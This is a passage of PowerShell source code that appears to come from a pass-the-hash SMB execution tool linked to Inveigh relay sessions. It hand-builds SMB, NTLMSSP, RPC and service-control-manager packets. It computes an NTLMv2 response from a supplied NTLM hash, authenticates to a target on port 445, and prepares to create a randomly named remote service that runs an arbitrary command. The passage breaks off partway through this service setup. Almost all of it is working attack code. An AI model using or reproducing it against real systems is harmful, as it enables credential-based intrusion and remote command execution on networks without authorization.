$NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) if($Version) { $NTLMSSPNegotiate.Add("Version",$Version) } return $NTLMSSPNegotiate } function New-PacketNTLMSSPAuth { param([Byte[]]$NTLMResponse) [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) return $NTLMSSPAuth } #RPC function New-PacketRPCBind { param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion) [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID) $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary $RPCBind.Add("Version",[Byte[]](0x05)) $RPCBind.Add("VersionMinor",[Byte[]](0x00)) $RPCBind.Add("PacketType",[Byte[]](0x0b)) $RPCBind.Add("PacketFlags",[Byte[]](0x03)) $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $RPCBind.Add("FragLength",$FragLength) $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) $RPCBind.Add("CallID",$call_ID) $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) $RPCBind.Add("NumCtxItems",$NumCtxItems) $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) $RPCBind.Add("ContextID",$ContextID) $RPCBind.Add("NumTransItems",[Byte[]](0x01)) $RPCBind.Add("Unknown2",[Byte[]](0x00)) $RPCBind.Add("Interface",$UUID) $RPCBind.Add("InterfaceVer",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) if($NumCtxItems[0] -eq 2) { $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) $RPCBind.Add("Unknown3",[Byte[]](0x00)) $RPCBind.Add("Interface2",$UUID) $RPCBind.Add("InterfaceVer2",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) } elseif($NumCtxItems[0] -eq 3) { $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) $RPCBind.Add("NumTransItems2",[Byte[]](0x01)) $RPCBind.Add("Unknown3",[Byte[]](0x00)) $RPCBind.Add("Interface2",$UUID) $RPCBind.Add("InterfaceVer2",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) $RPCBind.Add("NumTransItems3",[Byte[]](0x01)) $RPCBind.Add("Unknown4",[Byte[]](0x00)) $RPCBind.Add("Interface3",$UUID) $RPCBind.Add("InterfaceVer3",$UUIDVersion) $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) } if($call_ID -eq 3) { $RPCBind.Add("AuthType",[Byte[]](0x0a)) $RPCBind.Add("AuthLevel",[Byte[]](0x02)) $RPCBind.Add("AuthPadLength",[Byte[]](0x00)) $RPCBind.Add("AuthReserved",[Byte[]](0x00)) $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) } return $RPCBind } function New-PacketRPCRequest { param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data) if($AuthLength -gt 0) { $full_auth_length = $AuthLength + $AuthPadding + 8 } [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length) [Byte[]]$frag_length = $write_length[0,1] [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length) [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1] $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary $RPCRequest.Add("Version",[Byte[]](0x05)) $RPCRequest.Add("VersionMinor",[Byte[]](0x00)) $RPCRequest.Add("PacketType",[Byte[]](0x00)) $RPCRequest.Add("PacketFlags",$Flags) $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) $RPCRequest.Add("FragLength",$frag_length) $RPCRequest.Add("AuthLength",$auth_length) $RPCRequest.Add("CallID",$CallID) $RPCRequest.Add("AllocHint",$alloc_hint) $RPCRequest.Add("ContextID",$ContextID) $RPCRequest.Add("Opnum",$Opnum) if($data.Length) { $RPCRequest.Add("Data",$Data) } return $RPCRequest } #SCM function New-PacketSCMOpenSCManagerW { param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $packet_referent_ID1 += 0x00,0x00 $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $packet_referent_ID2 += 0x00,0x00 $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) return $packet_SCMOpenSCManagerW } function New-PacketSCMCreateServiceW { param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength) $referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $referent_ID = $referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $referent_ID += 0x00,0x00 $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary $SCMCreateServiceW.Add("ContextHandle",$ContextHandle) $SCMCreateServiceW.Add("ServiceName_MaxCount",$ServiceLength) $SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("ServiceName_ActualCount",$ServiceLength) $SCMCreateServiceW.Add("ServiceName",$Service) $SCMCreateServiceW.Add("DisplayName_ReferentID",$referent_ID) $SCMCreateServiceW.Add("DisplayName_MaxCount",$ServiceLength) $SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("DisplayName_ActualCount",$ServiceLength) $SCMCreateServiceW.Add("DisplayName",$Service) $SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) $SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) $SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) $SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("BinaryPathName_MaxCount",$CommandLength) $SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("BinaryPathName_ActualCount",$CommandLength) $SCMCreateServiceW.Add("BinaryPathName",$Command) $SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) $SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) return $SCMCreateServiceW } function New-PacketSCMStartServiceW { param([Byte[]]$ContextHandle) $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary $SCMStartServiceW.Add("ContextHandle",$ContextHandle) $SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) return $SCMStartServiceW } function New-PacketSCMDeleteServiceW { param([Byte[]]$ContextHandle) $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary $SCMDeleteServiceW.Add("ContextHandle",$ContextHandle) return $SCMDeleteServiceW } function New-PacketSCMCloseServiceHandle { param([Byte[]]$ContextHandle) $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary $SCM_CloseServiceW.Add("ContextHandle",$ContextHandle) return $SCM_CloseServiceW } function Get-StatusPending { param ([Byte[]]$Status) if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') { $status_pending = $true } return $status_pending } function Get-UInt16DataLength { param ([Int]$Start,[Byte[]]$Data) $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) return $data_length } if($hash -like "*:*") { $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) } if($Domain) { $output_username = $Domain + "\" + $Username } else { $output_username = $Username } if($PSBoundParameters.ContainsKey('Session')) { $inveigh_session = $true } if($PSBoundParameters.ContainsKey('Session')) { if(!$Inveigh) { Write-Output "[-] Inveigh Relay session not found" $startup_error = $true } elseif(!$inveigh.session_socket_table[$session].Connected) { Write-Output "[-] Inveigh Relay session not connected" $startup_error = $true } $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString } $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) [Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} if(!$inveigh_session) { $client = New-Object System.Net.Sockets.TCPClient $client.Client.ReceiveTimeout = 60000 } if(!$startup_error -and !$inveigh_session) { try { $client.Connect($Target,"445") } catch { Write-Output "[-] $Target did not respond" } } if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) { $client_receive = New-Object System.Byte[] 1024 if(!$inveigh_session) { $client_stream = $client.GetStream() if($SMB_version -eq 'SMB2.1') { $stage = 'NegotiateSMB2' } else { $stage = 'NegotiateSMB' } while($stage -ne 'Exit') { try { switch ($stage) { 'NegotiateSMB' { $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') { $SMB_version = 'SMB1' $stage = 'NTLMSSPNegotiate' if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') { if($signing_check) { Write-Output "[+] SMB signing is required on $target" $stage = 'Exit' } else { Write-Verbose "[+] SMB signing is required" $SMB_signing = $true $session_key_length = 0x00,0x00 $negotiate_flags = 0x15,0x82,0x08,0xa0 } } else { if($signing_check) { Write-Output "[+] SMB signing is not required on $target" $stage = 'Exit' } else { $SMB_signing = $false $session_key_length = 0x00,0x00 $negotiate_flags = 0x05,0x82,0x08,0xa0 } } } else { $stage = 'NegotiateSMB2' if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { if($signing_check) { Write-Output "[+] SMB signing is required on $target" $stage = 'Exit' } else { if($signing_check) { Write-Verbose "[+] SMB signing is required" } $SMB_signing = $true $session_key_length = 0x00,0x00 $negotiate_flags = 0x15,0x82,0x08,0xa0 } } else { if($signing_check) { Write-Output "[+] SMB signing is not required on $target" $stage = 'Exit' } else { $SMB_signing = $false $session_key_length = 0x00,0x00 $negotiate_flags = 0x05,0x80,0x08,0xa0 } } } } catch { if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."') { Write-Output "[-] SMB1 negotiation failed" $negoitiation_failed = $true $stage = 'Exit' } } } 'NegotiateSMB2' { if($SMB_version -eq 'SMB2.1') { $message_ID = 0 } else { $message_ID = 1 } $tree_ID = 0x00,0x00,0x00,0x00 $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'NTLMSSPNegotiate' if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { if($signing_check) { Write-Output "[+] SMB signing is required on $target" $stage = 'Exit' } else { if($signing_check) { Write-Verbose "[+] SMB signing is required" } $SMB_signing = $true $session_key_length = 0x00,0x00 $negotiate_flags = 0x15,0x82,0x08,0xa0 } } else { if($signing_check) { Write-Output "[+] SMB signing is not required on $target" $stage = 'Exit' } else { $SMB_signing = $false $session_key_length = 0x00,0x00 $negotiate_flags = 0x05,0x80,0x08,0xa0 } } } 'NTLMSSPNegotiate' { if($SMB_version -eq 'SMB1') { $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 } $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data } $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'Exit' } } } catch { Write-Output "[-] $($_.Exception.Message)" $negoitiation_failed = $true } } if(!$signing_check -and !$negoitiation_failed) { $NTLMSSP = [System.BitConverter]::ToString($client_receive) $NTLMSSP = $NTLMSSP -replace "-","" $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") $NTLMSSP_bytes_index = $NTLMSSP_index / 2 $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive $session_ID = $client_receive[44..51] $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $auth_hostname = (Get-ChildItem -path env:computername).Value $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] $auth_domain_offset = 0x40,0x00,0x00,0x00 $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 $HMAC_MD5.key = $NTLM_hash_bytes $username_and_target = $username.ToUpper() $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) $username_and_target_bytes += $auth_domain_bytes $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $security_blob_bytes = 0x01,0x01,0x00,0x00, 0x00,0x00,0x00,0x00 + $target_time_bytes + $client_challenge_bytes + 0x00,0x00,0x00,0x00 + $target_details + 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes $HMAC_MD5.key = $NTLMv2_hash $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) if($SMB_signing) { $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) $session_key = $session_base_key $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 $HMAC_SHA256.key = $session_key } $NTLMv2_response = $NTLMv2_response + $security_blob_bytes $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, 0x03,0x00,0x00,0x00, 0x18,0x00, 0x18,0x00 + $auth_LM_offset + $NTLMv2_response_length + $NTLMv2_response_length + $auth_NTLM_offset + $auth_domain_length + $auth_domain_length + $auth_domain_offset + $auth_username_length + $auth_username_length + $auth_username_offset + $auth_hostname_length + $auth_hostname_length + $auth_hostname_offset + $session_key_length + $session_key_length + $session_key_offset + $negotiate_flags + $auth_domain_bytes + $auth_username_bytes + $auth_hostname_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $NTLMv2_response if($SMB_version -eq 'SMB1') { $SMB_user_ID = $client_receive[32,33] $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 } $packet_SMB_header["UserID"] = $SMB_user_ID $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data } try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if($SMB_version -eq 'SMB1') { if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') { Write-Verbose "[+] $output_username successfully authenticated on $Target" $login_successful = $true } else { Write-Output "[!] $output_username failed to authenticate on $Target" $login_successful = $false } } else { if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') { Write-Verbose "[+] $output_username successfully authenticated on $Target" $login_successful = $true } else { Write-Output "[!] $output_username failed to authenticate on $Target" $login_successful = $false } } } catch { Write-Output "[-] $($_.Exception.Message)" } } } if($login_successful -or $inveigh_session) { if($inveigh_session) { if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') { Write-Output "[*] Pausing due to Inveigh Relay session lock" Start-Sleep -s 2 } $inveigh.session_lock_table[$session] = 'locked' $client = $inveigh.session_socket_table[$session] $client_stream = $client.GetStream() $session_ID = $inveigh.session_table[$session] $message_ID = $inveigh.session_message_ID_table[$session] $tree_ID = 0x00,0x00,0x00,0x00 $SMB_signing = $false } $SMB_path = "\\" + $Target + "\IPC$" if($SMB_version -eq 'SMB1') { $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 } else { $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) } $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 if(!$Service) { $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00-00-00' $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } else { $SMB_service = $Service $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service) if([Bool]($SMB_service.Length % 2)) { $SMB_service_bytes += 0x00,0x00 } else { 